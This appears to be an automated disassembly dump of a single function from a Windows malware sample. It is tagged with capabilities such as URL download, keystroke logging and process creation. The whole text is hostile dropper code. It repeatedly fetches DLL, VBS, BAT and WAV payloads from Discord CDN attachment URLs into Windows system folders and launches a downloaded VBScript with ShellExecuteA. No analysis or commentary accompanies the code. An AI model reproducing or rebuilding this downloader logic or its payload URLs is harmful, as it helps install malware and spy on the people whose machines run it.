Function at 0x14005be50
Capabilities:
Create process on windows
Create thread
Download url
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x20f0]
mov eax, 0x21f0
call fcn.14012f8c0
sub rsp, rax
lea rcx, [rbp + 0x40]
xor r12d, r12d
lea rbx, [0x140000000]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rbx + 0x16fd20]
lea rax, [rbx + 0x16fd20]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea r8, [rbp - 0x60]
movups xmmword [rcx], xmm0
lea rdx, [rbp + 0x40]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm1
movups xmm1, xmmword [rax + 0xa0]
mov rax, qword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTempRafaRGB.dll]
movups xmmword [rcx + 0xa0], xmm1
mov qword [rcx + 0xb0], rax
xor ecx, ecx
mov eax, dword [0x14016fbf0]
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x48], eax
movsd xmm0, qword [0x14016fbe8]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1034330012733681755_1160248205527760906_OPCION_ACTIVADA_AUDIO_VOZ.wav]
lea r8, [rbp + 0x140]
movaps xmm1, xmmword [0x14016fdf0]
lea rdx, [rbp + 0x40]
mov eax, dword [0x14016fe48]
xor r9d, r9d
movaps xmmword [rbp + 0x40], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016fe00]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [0x14016fe20]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x14016fe40]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm1, xmmword [0x14016fe10]
movsd qword [rbp + 0xa0], xmm0
movups xmm0, xmmword [str.C:WindowsOPCION_ACTIVADA_AUDIO_VOZ.wav]
mov dword [rbp + 0xa8], eax
movzx eax, byte [0x14016fe4c]
movaps xmmword [rbp + 0x70], xmm1
movaps xmm1, xmmword [0x14016fe30]
movaps xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x14016fe60]
mov byte [rbp + 0xac], al
movzx eax, byte [0x14016fe78]
movups xmmword [rbp + 0x140], xmm0
mov byte [rbp + 0x168], al
movsd xmm0, qword [0x14016fe70]
movsd qword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x150], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038705981390848_activar.wav]
movaps xmm1, xmmword [0x14016fe90]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm0, xmmword [0x14016fea0]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm1, xmmword [0x14016feb0]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [0x14016fec0]
movaps xmmword [rbp + 0x70], xmm1
movzx eax, word [0x14016fed8]
lea r8, [rbp - 0x60]
mov word [rbp + 0x98], ax
lea rdx, [rbp + 0x40]
movzx eax, byte [0x14016feda]
xor r9d, r9d
mov byte [rbp + 0x9a], al
xor ecx, ecx
mov eax, dword [0x14016fef0]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x14016fed0]
mov dword [rbp - 0x50], eax
movzx eax, word [0x14016fef4]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:Windows_activar.wav]
mov word [rbp - 0x4c], ax
movzx eax, byte [0x14016fef6]
mov byte [rbp - 0x4a], al
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038724939657226_desactivar.wav]
lea r8, [rbp - 0x60]
mov eax, dword [0x14016ff58]
lea rdx, [rbp + 0x40]
movaps xmm1, xmmword [0x14016ff10]
xor r9d, r9d
movaps xmmword [rbp + 0x40], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016ff20]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [0x14016ff40]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x14016ff50]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:Windowsdesactivar.wav]
mov dword [rbp + 0x98], eax
movzx eax, word [0x14016ff5c]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp + 0x9c], ax
movsd xmm0, qword [0x14016ff70]
movzx eax, word [0x14016ff78]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm1, xmmword [0x14016ff30]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0x70], xmm1
mov word [rbp - 0x48], ax
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1142101206756503673_milky.vbs]
lea r8, [rbp - 0x60]
movaps xmm1, xmmword [0x14016ff90]
lea rdx, [rbp + 0x40]
movzx eax, byte [0x14016ffd8]
xor r9d, r9d
movaps xmmword [rbp + 0x40], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016ffa0]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [0x14016ffc0]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x14016ffd0]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTempmilky.vbs]
mov byte [rbp + 0x98], al
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x14016fff0]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm1, xmmword [0x14016ffb0]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0x70], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
xor ecx, ecx
mov qword [rsp + 0x20], r12
lea r8, str.C:WindowsTempmilky.vbs
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea rdx, str.C:WindowsTemp_systen.dll
movaps xmm1, xmmword [0x140170010]
lea rcx, [rbp + 0x1490]
movzx eax, word [0x140170058]
movaps xmmword [rbp + 0xba0], xmm0
movaps xmm0, xmmword [0x140170020]
movaps xmmword [rbp + 0xbc0], xmm0
movaps xmm0, xmmword [0x140170040]
movaps xmmword [rbp + 0xbe0], xmm0
movsd xmm0, qword [0x140170050]
movaps xmmword [rbp + 0xbb0], xmm1
movaps xmm1, xmmword [0x140170030]
movsd qword [rbp + 0xbf0], xmm0
movaps xmmword [rbp + 0xbd0], xmm1
mov word [rbp + 0xbf8], ax
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1490]
xor ecx, ecx
lea rdx, [rbp + 0xba0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x140170058]
lea rdx, [rbp + 0x40]
movaps xmm1, xmmword [0x140170010]
xor r9d, r9d
movaps xmmword [rbp + 0x40], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140170020]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [0x140170040]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x140170050]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_systen.dll]
mov word [rbp + 0x98], ax
movzx eax, word [0x14016fc28]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x14016fc20]
movzx eax, byte [0x14016fc2a]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm1, xmmword [0x140170030]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0x70], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x140170058]
lea rdx, [rbp + 0x40]
movaps xmm1, xmmword [0x140170010]
xor r9d, r9d
movaps xmmword [rbp + 0x40], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140170020]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [0x140170040]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x140170050]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0x98], ax
movzx eax, word [0x14016fca0]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x14016fc98]
movzx eax, byte [0x14016fca2]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm1, xmmword [0x140170030]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0x70], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [rbp + 0x1310]
movups xmm0, xmmword [rbx + 0x170060]
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rbx + 0x170070]
lea rcx, [rbx + 0x170060]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x15a0]
mov byte [rdx + 0x3e], al
lea rdx, str.C:WindowsTemp_block_internet.bat
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x15a0]
xor ecx, ecx
lea rdx, [rbp + 0x1310]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170150]
lea rax, [rbx + 0x170150]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x13d0]
movups xmmword [rcx], xmm0
lea rdx, str.C:WindowsTemp_resume_internet.bat
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x16b0]
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x16b0]
xor ecx, ecx
lea rdx, [rbp + 0x13d0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170240]
lea rcx, [rbx + 0x170240]
lea rdx, [rbp + 0xe90]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x17c0]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsSystem32_rafa.wav
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x17c0]
xor ecx, ecx
lea rdx, [rbp + 0xe90]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450642343886898_boxrgb.dll]
lea rdx, str.C:WindowsTemp_boxrgb.dll
movaps xmm1, xmmword [0x140170330]
lea rcx, [rbp + 0xd80]
movzx eax, word [0x140170378]
movaps xmmword [rbp + 0xc00], xmm0
movaps xmm0, xmmword [0x140170340]
movaps xmmword [rbp + 0xc20], xmm0
movaps xmm0, xmmword [0x140170360]
movaps xmmword [rbp + 0xc40], xmm0
movsd xmm0, qword [0x140170370]
movaps xmmword [rbp + 0xc10], xmm1
movaps xmm1, xmmword [0x140170350]
movsd qword [rbp + 0xc50], xmm0
movaps xmmword [rbp + 0xc30], xmm1
mov word [rbp + 0xc58], ax
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0xd80]
xor ecx, ecx
lea rdx, [rbp + 0xc00]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170380]
lea rcx, [rbx + 0x170380]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp + 0x1010]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r8], xmm0
movups xmmword [r8 + 0x10], xmm1
mov eax, dword [rcx + 0x30]
lea rdx, str.C:WindowsTemp_boxrgb.dll
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x20], xmm0
mov dword [r8 + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [r8 + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0xd80]
mov byte [r8 + 0x36], al
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1d10]
xor ecx, ecx
lea rdx, [rbp + 0x1010]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170440]
lea rcx, [rbx + 0x170440]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x1190]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0xd80]
mov byte [rdx + 0x38], al
lea rdx, str.C:WindowsTempChamsRed.dll
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1e20]
xor ecx, ecx
lea rdx, [rbp + 0x1190]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170440]
lea rcx, [rbx + 0x170440]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea r8, [rbp + 0x1250]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov qword [r8 + 0x30], rax
lea rdx, str.C:WindowsTempChamsRed.dll
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0x18d0]
mov byte [r8 + 0x38], al
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x18d0]
xor ecx, ecx
lea rdx, [rbp + 0x1250]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170500]
lea rcx, [rbx + 0x170500]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xf50]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x19e0]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsTempRas1.dll
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x19e0]
xor ecx, ecx
lea rdx, [rbp + 0xf50]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1705e0]
lea rcx, [rbx + 0x1705e0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x10d0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
mov byte [rdx + 0x36], al
lea rcx, [rbp + 0x1af0]
lea rdx, str.C:WindowsTempRastss.dll
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1af0]
xor ecx, ecx
lea rdx, [rbp + 0x10d0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1192151849416011776_1200245005676204053_blanca_1.dll]
lea rdx, str.C:WindowsTemp_blanca_1.dll
movaps xmm1, xmmword [0x1401706b0]
lea rcx, [rbp + 0x1c00]
mov eax, dword [0x1401706f8]
movaps xmmword [rbp + 0xc60], xmm0
movaps xmm0, xmmword [0x1401706c0]
movaps xmmword [rbp + 0xc80], xmm0
movaps xmm0, xmmword [0x1401706e0]
movaps xmmword [rbp + 0xca0], xmm0
movsd xmm0, qword [0x1401706f0]
movaps xmmword [rbp + 0xc70], xmm1
movaps xmm1, xmmword [0x1401706d0]
movsd qword [rbp + 0xcb0], xmm0
movaps xmmword [rbp + 0xc90], xmm1
mov dword [rbp + 0xcb8], eax
call fcn.140063560
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1c00]
xor ecx, ecx
lea rdx, [rbp + 0xc60]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170380]
lea rcx, [rbx + 0x170380]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x60]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x40]
movzx eax, word [0x14016fb98]
mov word [rbp - 0x48], ax
movzx eax, byte [0x14016fb9a]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x14016fb90]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [rbp + 0x40]
lea rcx, [rbx + 0x170380]
movups xmm0, xmmword [rcx]
lea rdx, [rdx + 0x80]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov qword [rsp + 0x20], r12
mov eax, dword [rcx + 0x30]
lea r8, [rbp - 0x60]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x40]
movzx eax, word [0x14016fb98]
mov word [rbp - 0x48], ax
movzx eax, byte [0x14016fb9a]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x14016fb90]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170440]
lea rcx, [rbx + 0x170440]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x40]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
movups xmm0, xmmword [str.C:WindowsTempChamsRed.dll]
mov byte [rdx + 0x38], al
mov eax, dword [0x14016fcc0]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x14016fcc4]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x44], al
movsd xmm0, qword [0x14016fcb8]
movsd qword [rbp - 0x50], xmm0
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp - 0x60]
xor ecx, ecx
lea rdx, [rbp + 0x40]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x170500]
lea rcx, [rbx + 0x170500]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x40]
movups xmmword [rdx], xmm0
